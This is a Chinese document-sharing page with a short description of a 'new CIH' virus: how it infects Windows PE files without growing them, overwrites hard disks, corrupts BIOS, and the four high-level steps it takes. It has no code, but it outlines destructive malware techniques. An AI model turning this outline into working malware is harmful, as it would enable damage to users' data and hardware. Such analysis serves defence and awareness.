新CIH病毒会驻留在系统内核,它首先判断打开的文件是否为Windows 可执行文件(PE 文件),如果不是则不进行感染操作,如果是则将病毒插入到PE文件各节的空隙中(与传统的CIH一样),因此感染后文件的长度不会增加。由于病毒自身的原因,感染时有些文件会被 破坏,导致不能正常运行。新CIH病毒发作时企图用“YM Kill You”字符串信息覆盖系统硬盘,这样会导致数据恢复相当困难。它同时通过向主板BIOS中写入垃圾数据来对硬件系统进行永久性破坏。 新CIH病毒行为分析: 1、病毒搜索kernel32的起始偏移地址 2、取得病毒所用的API地址 3、进入Ring0 4、通过直接IO的方式写BIOS和硬盘 值得庆幸的是,这个新CIH病毒发作条件较为特殊,不会定期发作,而且只会通过感染 文件来传播,因此不太可能在短期内造成巨大的破坏。各反病毒软件公司以最快的速度研发 出查杀此病毒的专杀工具,因此该病毒的大面积破坏在很大程度上被控制住了。
本文档为【CIH病毒】,请使用软件OFFICE或WPS软件打开。作品中的文字与图均可以修改和编辑, 图片更改请在作品中右键图片并更换,文字修改请直接点击文字进行修改,也可以新增和删除文档中的内容。
该文档来自用户分享,如有侵权行为请发邮件ishare@vip.sina.com联系网站客服,我们会及时删除。
[版权声明] 本站所有资料为用户分享产生,若发现您的权利被侵害,请联系客服邮件isharekefu@iask.cn,我们尽快处理。
本作品所展示的图片、画像、字体、音乐的版权可能需版权方额外授权,请谨慎使用。
网站提供的党政主题相关内容(国旗、国徽、党徽..)目的在于配合国家政策宣传,仅限个人学习分享使用,禁止用于任何广告和商用目的。
下载需要: 免费 已有0 人下载
最新资料
资料动态
专题动态
is_977556
暂无简介~
格式:doc
大小:76KB
软件:Word
页数:32
分类:生活休闲
上传时间:2017-09-01
浏览量:178